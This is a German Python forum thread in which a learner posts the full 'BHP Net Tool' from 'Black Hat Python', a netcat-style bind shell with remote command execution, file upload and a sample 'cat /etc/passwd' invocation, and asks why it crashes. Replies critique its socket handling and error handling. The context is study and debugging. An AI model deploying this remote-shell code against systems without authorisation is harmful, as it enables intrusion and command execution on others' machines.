TCP client/server Skript

Sockets, TCP/IP, (XML-)RPC und ähnliche Themen gehören in dieses Forum
Antworten
Do Re
User
Beiträge: 2
Registriert: Dienstag 21. Juli 2015, 15:13

Hallo Community,

ich habe mich aus Interesse mal an ein Buch über hacking mit Python gesetzt.

In dem Buch ("Black hat Python") gibt es eine Schritt für Schritt Anleitung, die ich quasi einfach nur abgetippt habe.

Code: Alles auswählen

#!/usr/bin/env python
import sys
import socket
import getopt
import threading
import subprocess

#define some global variables
listen = False
command = False
upload = False
execute = ""
target = ""
upload_destination = ""
port = 0

def usage():
    print "BHP Net Tool"
    print
    print "Usage: bhpnet.py -t target_host -p port"
    print "-l --listen              - listen on [host]:[port] for incoming connections"
    print "-e --execute=file_to_run - execute the given file upon receiving a connection"
    print "-c --command             - initialize command shell"
    print "-u --upload=destination  - upon receiving connection upload a file and write to destination"
    print 
    print
    print "Examples: "
    print "bhpnet.py -t 192.168.0.1 -p 5555 -l -c"
    print "bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe"
    print "bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\""
    print "echo ABCDEFGHI | bhpnet.py -t 192.168.11.12 -p 135"

def client_sender(buffer):
    
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    
    try:
        #connect to target host
        client.connect((target,port))
        
        if len(buffer):
            client.send(buffer)
            
        while True:
            
            #now wait for data back
            recv_len = 1
            responce = ""
            
            while recv_len:
                
                data = client.recv(4096)
                recv_len = len(data)
                response += data
                
                if recv_len < 4096:
                    break
                
            print response,
            
            #wait for more input
            buffer = raw_input("")
            buffer += "\n"
            
            #send it off
            client.send(buffer)
            
    except:
        
        print "[*] Exception! Exiting."
        
        #tear down the connection
        client.close()
    
def server_loop():
    global target
    
    #if no target is defined we listen on all interfaces
    if not len(target):
        target = "0.0.0.0"
        
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind((target,port))
    
    server.listen (5)
    
    while True:
        client_socket, addr = server.accept()
        
        #spin off a thread to handle our new client
        client_thread = threading.Thread(target=client_handler, args=(client_socket,))
        client_thread.start()
        
def run_command(command):
    
    #trim the newline
    command = command.rstrip()
    
    #run the command and get the output back
    try:
        output = subprocess.check_output(command,stderr=subprocess.STDOUT, shell=True)
    except:
        output = "Failed to execute command.\r\n"
        
    #send the output back to the client
    return output

def client_handler (client_socket):
    global upload
    global execute
    global command
    
    #check if upload
    if len(upload_destination):
        
        #read in all of the bytes and write to our destination
        file_buffer = ""
        
        #keep reading data until none is available
        while True:
            data = client_socket.recv(1024)
            
            if not data:
                break
            else:
                file_buffer += data
                
        #now we take these bytesand try to write them out
        try:
            file_descriptor = open (upload_destination,"wb")
            file_descriptor.write(file_buffer)
            file_descriptor.close()
            
            #acknowledge that we wrote the file out
            client_socket.send("Successfully saved file to %s\r\n" % upload_destination)
        except:
            client_socket.send("Failed to save file to %s\r\n" % upload_destination)
            
    #check for command execution
    if len(execute):
        
        #run the command
        output = run_command(execute)
        
        client_socket.send(output)
        
    #now we go into another loop if a command shell was requested
    if command:
        
        while True:
            #Show a simple prompt
            client_socket.send("<Bhp:#>")
            
            #now we receive until we see a linefeed (enter-key)
            cmd_buffer = ""
            while "\n" not in cmd_buffer:
                cmd_buffer += client_socket.recv(1024)
                
            #send back the command output
            response = run_command(cmd_buffer)
            
            #send back the response
            client_socket.send(response)
    
def main ():
    #some global variables------
    global listen
    global port
    global execute
    global command
    global upload_destination
    global target
    #----------------------------
    
    if not len(sys.argv[1:]):
        usage()
        
    #read the commanline options
    try:
        opts, args = getopt.getopt(sys.argv[1:],"hle:t:p:cu:", ["help","listen","execute","target","port","command","upload"])
    except getopt.GetoptError as err:
        print str(err)
        usage()
        
    #go throught the "opts" = options. o = option, a = parameter given via command-line
    for o,a in opts:
        if o in ("-h","--help"):
            usage()
        elif o in ("-l","--listen"):
            listen = True
        elif o in ("-e","--execute"):
            execute = a
        elif o in ("-c","--command"):
            command = True
        elif o in ("-u","--upload"):
            upload_destination = a
        elif o in ("-t","--target"):
            target = a
        elif o in ("-p","--port"):
            port = int(a)
        else:
            assert False,"Unhandled Option"
    #-----------------------------------------------------------------------------------
    
    #are we going to listen or just send data from stdin?
    if not listen and len(target) and port >0:
        
        #read in the buffer from the commandline
        #this will block, so send Ctrl+D if not sending input
        #to stdin
        buffer = sys.stdin.read()
        
        #send data off
        client_sender(buffer)
        
    #we are going to listen and potentially upload things, execute commands,
    #and drop a shell back depending on our command line options above
    if listen:
        server_loop()
        
main()
Ziel wäre es, in einer Shell dieses Kommando auszuführen:

root@kali>./bhpnet.py -l -p 9999 -c

In einer zweiten shell sollte das dann so aussehen:

root@kali>./bhpnet.py -t localhost -p 9999
<CTRL-D>
<BHP:#> ls -la
total: ..
drwxr-xrwx ..... (ausgabe eines ls -la kommandos eben)
<BHP:#> pwd
/Users/..
<BHP:#> ...

aber immer, wenn ich Ctrl-d drücke, bekomme ich in Fenster 1 die Nachricht:
Exception in thread Thread-1:
Traceback (most recent call last):
File "/usr/lib/python2.7/threading.py", line 552, in __bootstrap_inner
self.run()
File "/usr/lib/python2.7/threading.py", line 505, in run
self.__target(*self.__args, **self.__kwargs)
File "./bhpnet.py", line 152, in client_handler
client_socket.send("<Bhp:#>")
error: [Errno 32] Broken pipe
und in Fenster 2:

Code: Alles auswählen

[*] Exception! Exiting.
Kann mir jemand sagen, wo mein Fehler ist?

Ich bin den Code schon mehrere Male durchgegangen und finde auch keine Tippfehler (, bin ich blind?)..

Für eure Hilfe bin ich jetzt schon einmal sehr dankbar :)

Lg,
Do Re
BlackJack

@Do Re: Der Fehler ist diesen schrecklichen Code zu verwenden. Der ist supergruselig, so schreibt man keine sauberen Programme. Unter anderem sieht man wie sinnlos diese Art der ”Ausnahmebehandlung” ist. Statt einfach gar nichts zu behandeln, werden *alle* Fehler auf die gleiche, nichtssagende Ausgabe reduziert die Du da siehst, ohne das man eine Chance hätte mal zu sehen *was* denn da zu einer Ausnahme geführt hat und zu *welcher*.

Auch an anderen Stellen werden bei der Ausnahmebehandlung Informationen verworfen die man als Benutzer gerne sehen würde um zu wissen was das Problem war, statt nur gesagt zu bekommen *das* es ein Problem gab. Wobei beim `subprocess.check_output()` noch nicht einmal zwingend ein Problem vorgelegen haben muss, weil einige Programme einen Rückgabecode ungleich 0 auch als Signal für irgendwelche Ergebnisse benutzen die *keine* Fehler sind. Und in diesen Fällen möchte man den Rückgabecode und die Ausgabe eigentlich ganz gerne *sehen*.

Die ganzen ``global``-Anweisungen haben in einem sauberen Programm auch nichts zu suchen.

`getopt` verwendet kein Mensch mehr. Das wurde schon vor Ewigkeiten vom `optparse`-Modul abgelöst und das was man heute benutzt, `argparse`, ist nun auch schon eine Weile in der Standardbibliothek. Ich habe so ein bisschen das Gefühl der Autor hat das ursprünglich mal in C geschrieben und es dann notdürftig nach Python ”übersetzt” weil Python Hip ist und er dachte sein Buch so besser verkaufen zu können. Die konkrete Verwendung von `getopt` und falsche Bezeichnungen wie `file_descriptor` deuten sehr stark auf C hin.

`recv_len` in `client_sender()` wird nicht wirklich verwendet.

Die `client_handler()`-Funktion macht nicht nur deutlich zu viel, die Unterscheidung was sie tun soll ist auch merkwürdig ausgedrückt.

Ich habe übrigens mindestens einen falsch geschriebenen Namen gesehen der wahrscheinlich die Fehlerursache ist. :-)
Benutzeravatar
jens
Python-Forum Veteran
Beiträge: 8502
Registriert: Dienstag 10. August 2004, 09:40
Wohnort: duisburg
Kontaktdaten:

BlackJack hat geschrieben:Ich habe übrigens mindestens einen falsch geschriebenen Namen gesehen der wahrscheinlich die Fehlerursache ist. :-)
Und sowas zeigt ein guter Editor i.d.R. an ;)

GitHub | Open HUB | Xing | Linked in
Bitcoins to: 1JEgSQepxGjdprNedC9tXQWLpS424AL8cd
Sirius3
User
Beiträge: 17711
Registriert: Sonntag 21. Oktober 2012, 17:20

@Do Re: neben den globalen Variablen, der fehlerhaften Fehlerbehandlung und den veralteten Paketen, gibt es auch noch grundsätzliche Probleme: client.send garantiert nicht, dass der gesamte buffer gesendet wird, dafür gibt es sendall. Die while-Schleife mit recv_len ist unnötig kompliziert, weil es zwei Abbruchbedingungen gibt, wovon eine nie für einen Abbruch sorgt. client.recv liefert nur bis zu 4096 Bytes, das heißt aber nicht, dass schon alle Daten gesendet wurden, wenn es weniger sind, weil bei einem Stream gibt es kein "alle". Der upload in client_handler ist dann zufälligerweise richtig programmiert, aber der command-Teil hat ähnliche Probleme wie oben. Die if-Konstruktionen mit len sind alle sehr umständlich, vor allem Zeile 175 ist interessant.
Do Re
User
Beiträge: 2
Registriert: Dienstag 21. Juli 2015, 15:13

Da sieht man mal wieder, dass Bücher keine gute Quelle sind für so schnelllebige Dinge wie Programmiersprachen :(

Danke an alle für eure Mühe!

Ich werde dann mal nach Tutorials auf YT suchen, denke ich... die sind wenigstens kostenlos

Bis bald,
Do Re

ps: ich bin ein guter bis sehr guter Java-Programmierer, daher wusste ich natürlich selbst, dass das , wie es da steht kein guter Quelltext ist. Ich wollte aber trotzdem die Programme einfach einmal ausprobieren, da ich momentan sehr viel mit Netzwerktechnik zu tun habe. Das Buch geht über Hacking und naja.. Das Netzwerk über hacking kennenzulernen ist bedeutend interessanter als über ewiges Buch wälzen über irgendwelche Internetprotokolle :roll:
Sirius3
User
Beiträge: 17711
Registriert: Sonntag 21. Oktober 2012, 17:20

@Do Re: Qualität hat nichts mit Schnelllebigkeit zu tun. Die Erkenntnis, keine globalen Variablen zu haben, ist wahrscheinlich schon 50 Jahre alt. Wie man korrekt Sockets programmiert schon seit es Sockets gibt. Dagegen ist Python noch relativ jung. Aber das Programm, wie es hier abgedruckt ist, hätte so schon vor 10 Jahren keine Begeisterungssprünge erlebt.
Benutzeravatar
jens
Python-Forum Veteran
Beiträge: 8502
Registriert: Dienstag 10. August 2004, 09:40
Wohnort: duisburg
Kontaktdaten:

Gibt es eigentlich überhaupt gute Bücher zu Python?!? Zumindest scheint es mehr schlechte als gute zu geben, was?

GitHub | Open HUB | Xing | Linked in
Bitcoins to: 1JEgSQepxGjdprNedC9tXQWLpS424AL8cd
BlackJack

@jens: Ist das nicht bei jedem Thema so?
Antworten